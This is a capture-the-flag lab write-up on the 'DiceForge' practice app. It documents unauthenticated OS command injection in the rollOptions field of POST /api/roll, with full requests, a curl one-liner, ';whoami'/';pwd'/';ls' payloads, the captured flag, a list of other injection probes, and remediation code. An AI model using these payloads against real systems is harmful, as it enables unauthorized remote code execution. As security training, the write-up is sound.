DiceForge: OS Command Injection on POST /api/roll
Part 1 - Pentest Report
Executive Summary
DiceForge is a small React + Express dice-rolling application for tabletop RPG players. It exposes a single API endpoint (POST /api/roll) with no authentication. The frontend hardcodes one of the request body fields, rollOptions, to the string "none" on every request, but the field still travels to the server unchanged.
Testing confirmed one critical finding that on its own captures the flag:
| ID | Title | Severity | CVSS | CWE | Endpoint |
|---|---|---|---|---|---|
| F1 | Unauthenticated OS command injection on rollOptions field |
Critical | 9.8 | CWE-78 | POST /api/roll |
The rollOptions value is reflected into a shell command on the server. A semicolon in the value chains an attacker-supplied command onto the legitimate one, and the captured stdout is returned in an extra output field on the otherwise-normal JSON dice-roll response. The flag is delivered as the value of whoami: the container’s Linux user account name is itself the flag string.
Objective
Capture the lab flag hosted in BugForge’s “DiceForge” application by identifying the bug class on a single-endpoint API with no authentication surface.
Scope / Initial Access
# Target Application
URL: https://lab-1777244686707-kwcg4e.labs-app.bugforge.io
# Auth
None. No login, no session, no JWT, no cookies. Public endpoint.
CORS: Access-Control-Allow-Origin: * (open).
The application has no users, no accounts, and no persistence visible to the client. Roll history is stored in browser localStorage under the key diceforge_history.
Reconnaissance: One Endpoint, One Hardcoded Constant
The bundle (main.bf5c4d53.js, ~406 KB minified) was the entire client-side surface. Grepping for /api/ returned only /api/roll. Grepping for flag, bug{ and secret returned nothing: there is no client-side conditional that would render a flag string, so the flag must come from the server.
Observations that shaped the test plan:
- Only one API endpoint is referenced from the frontend:
POST /api/roll. rollOptionsis sent as a string body field on every request, with the value hardcoded to"none"by the React code.- The response shape includes a
notationstring (e.g."1d12 + 1d100") constructed from input values: a candidate sink for template injection or echo. - No auth headers, no cookies. Anything reachable is reachable to anyone.
X-Powered-By: Expressis set, indicating a vanilla Node + Express stack.
Application Architecture
| Component | Detail |
|---|---|
| Backend | Express (Node.js), X-Powered-By: Express |
| Frontend | React (CRA build), axios for transport |
| Auth | None |
| Database | Not observable from the client; roll history is localStorage-only |
| CORS | Access-Control-Allow-Origin: * |
API Surface
| Endpoint | Method | Auth | Notes |
|---|---|---|---|
/api/roll |
POST | No | Sole documented endpoint. Body: {dice: [{type, count}], rollOptions: "none"} |
/api/stats |
GET | No | Hidden endpoint (not referenced in bundle). Returns global aggregate metadata. Not flag-bearing. See Failed Approaches. |
Attack Chain Visualization
┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐ ┌──────────────────────┐
│ POST /api/roll is │ │ rollOptions hardcoded│ │ ;whoami in │ │ Lab user account │
│ the only API │──▶│ to "none" by │──▶│ rollOptions adds an │──▶│ name IS the flag. │
│ endpoint, no auth. │ │ frontend, but ships │ │ "output" field on │ │ output: bug{xkN...} │
│ Single JSON body. │ │ on every request. │ │ the JSON response. │ │ │
└──────────────────────┘ └──────────────────────┘ └──────────────────────┘ └──────────────────────┘
Findings
F1 - Unauthenticated OS Command Injection on rollOptions
Severity: Critical
CVSS v3.1: 9.8 / CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE: CWE-78 (Improper Neutralization of Special Elements used in an OS Command)
Endpoint: POST /api/roll
Authentication required: No
Description
The rollOptions field on POST /api/roll accepts arbitrary string content, including shell metacharacters. When a request is sent with rollOptions containing a semicolon followed by a shell command, the response includes an extra top-level output field containing the stdout of that command. The behavior is consistent with the field being concatenated into a shell command on the server side and run via /bin/bash (inferred from the observation that semicolons chain a second command but $(...) and backtick command substitution do not produce reflected output).
The frontend always sends "none" for this field, so under normal use the output field never appears and the bug is invisible from the UI alone.
Impact
Unauthenticated remote code execution on the server.
Reproduction
Step 1 - Establish baseline response shape
POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json
{"dice":[{"type":"d20","count":1}],"rollOptions":"none"}
Response:
{
"notation": "1d20",
"results": [{"type":"d20","count":1,"rolls":[14],"subtotal":14}],
"grandTotal": 14,
"timestamp": "2026-04-26T..."
}
Standard four-key response. No output field.
Step 2 - Replace rollOptions with ;whoami
POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json
{"dice":[{"type":"d20","count":1}],"rollOptions":";whoami"}
Response (truncated):
{
"notation": "1d20",
"results": [...],
"grandTotal": ...,
"timestamp": "...",
"output": "bug{xkNsabE86poEQ7M2DMzsDEXhZuDqNgqh}\n"
}
A new top-level output key appears alongside the legitimate roll result. The lab’s container runs the application as a Linux user account whose username is the flag string itself, so whoami returns the flag.
curl -sS -X POST https://lab-1777244686707-kwcg4e.labs-app.bugforge.io/api/roll \
-H 'Content-Type: application/json' \
--data '{"dice":[{"type":"d20","count":1}],"rollOptions":";whoami"}'
Step 3 - Confirm scope of execution
POST /api/roll HTTP/1.1
Host: lab-1777244686707-kwcg4e.labs-app.bugforge.io
Content-Type: application/json
{"dice":[{"type":"d20","count":1}],"rollOptions":";pwd"}
Response includes "output": "/app\n". Listing the directory (;ls) returns Dockerfile, node_modules, package.json, package-lock.json, src. Most coreutils (echo, env, find) return command not found on this slim base image, but bash builtins and binaries provided by libc (such as whoami) work, which is why the flag-delivery mechanism functions on a stripped image.
Remediation
Fix 1: Remove the shell invocation entirely
The dice rolling is pure arithmetic and has no reason to invoke a child process. The most likely root cause is an abandoned or half-implemented preset feature. Replacing the shell call with native Node code closes the bug.
// BEFORE (vulnerable, inferred from observed behavior)
const { exec } = require('child_process');
exec(`some-roller ${rollOptions}`, (err, stdout) => {
res.json({ ...rollResult, output: stdout });
});
// AFTER (no shell, no child process)
res.json(rollResult);
Fix 2: If a child process must remain, use the argv-array form
execFile and spawn with explicit argument arrays do not parse arguments through a shell. User-supplied values can never be interpreted as shell metacharacters.
// AFTER (if child process is genuinely required)
const { execFile } = require('child_process');
execFile('/usr/local/bin/some-roller', [rollOptions], (err, stdout) => { ... });
Fix 3: Allowlist the field at the route boundary
The intended values for rollOptions are a small enum (none, advantage, disadvantage, etc.). Reject anything else before it reaches any sink.
const VALID_OPTIONS = new Set(['none', 'advantage', 'disadvantage']);
if (!VALID_OPTIONS.has(req.body.rollOptions)) {
return res.status(400).json({ error: 'invalid rollOptions' });
}
Additional recommendations:
- Strip the
outputfield from API responses entirely. There is no legitimate consumer for it on the client. - Add a request body schema validator (e.g. ajv, joi, zod) at the route level to reject unexpected types and unknown fields.
- Run the Node process under a least-privilege OS user with no shell access, so even if a similar bug surfaces in another field the blast radius is contained.
OWASP Top 10 Coverage
- A03:2021 - Injection: A user-controlled JSON body field is concatenated into an OS command and run through a shell, allowing arbitrary OS command execution from any unauthenticated client.
Tools Used
| Tool | Purpose |
|---|---|
| Caido | Intercepting and modifying API requests during the value-class sweep |
| grep / strings | Bundle inspection (route enumeration, flag-string search) |
References
- CWE-78: OS Command Injection: https://cwe.mitre.org/data/definitions/78.html
- OWASP Command Injection: https://owasp.org/www-community/attacks/Command_Injection
- Node.js child_process docs: https://nodejs.org/api/child_process.html
Part 2 - Notes / Knowledge
Key Learnings
- Run SSTI and command injection probes against JSON body fields, not just URL parameters. The reflex from URL and query-string testing is to spray template syntax (
${},{{}},<%= %>,#{}) and shell metacharacters (;,|,&&, backticks) at?param=slots. JSON body fields get less reflexive coverage but reach the same handlers and the same shell, template, and SQL sinks on the server. On this engagement, the only API endpoint accepted JSON only, and the bug lived in a string body field that the frontend hardcoded to a constant. Treat every string field in a request body as a candidate for the same injection classes used on URL parameters.
Failed Approaches
| Approach | Result | Why It Failed |
|---|---|---|
43-value rollOptions enum sweep (D&D and cheat vocabulary: advantage, disadvantage, exploding, loaded, weighted, rigged, debug, verbose, etc.) |
Server silently accepts any string, no behavior change | Field is not switched on by an enum table; only triggers on shell metacharacters |
$(...) and backtick command substitution in rollOptions |
No output field reflected |
Likely consumed by Node template-literal expansion before reaching bash |
SSTI on dice.type: ${7*7}, {{7*7}}, <%= 7*7 %>, #{7*7} |
Literal echo on the error-message path | No template engine on that path |
SQLi single-quote sweep on dice.type, rollOptions, dice.count |
Literal echo or silent acceptance | No SQL backend reachable from the roll handler |
Path traversal on dice.type, rollOptions |
Literal echo or silent acceptance | No file lookup on those fields |
CRLF / log injection on dice.type, rollOptions |
Express HTTP serialization escaped CRLF properly | Headers are not constructed from these fields |
| XSS / HTML injection | No rendering sink in any response | API is JSON-only, history is localStorage-only client-side |
NoSQL operator injection ({"$ne":null}, {"$where":"..."}) on rollOptions and count |
Silent acceptance or numeric validation rejection | No Mongo-style query reaches these fields |
XXE via Content-Type: application/xml swap |
400, body parser is JSON-only | No XML parser bound |
| HTTP Parameter Pollution (duplicate JSON keys) | No observable behavior change | JSON parser is last-key-wins, no second sink |
Prototype pollution via __proto__, constructor.prototype extras |
Silently dropped | No downstream sink reads from prototype |
Verb tampering on /api/roll (GET, HEAD, PUT, PATCH, DELETE) |
GET and HEAD return SPA catchall, others 404 | No alternate handler bound to the path |
Mass-assignment of computed fields (subtotal, rolls, grandTotal, notation) on dice elements or top-level body |
Silently stripped, never reflected | Server constructs results from inputs, not body |
Hidden endpoint name guesses (/flag, /.env, /.git/config, /api/admin, /api/debug, /api/docs, etc.) |
All hit React SPA catchall (824-byte index.html) |
Filter results on Content-Type, not status code; only /api/stats was a real handler |
/api/stats info disclosure (global totals and recent activity from other users) |
Returns 200 with aggregate metadata; not flag-bearing | Likely intended-but-undocumented; deprioritized once F1 landed |
Tags: #command-injection #rce #bugforge #webapp #express #node #json-body-injection
Document Version: 1.0
Last Updated: 2026-04-27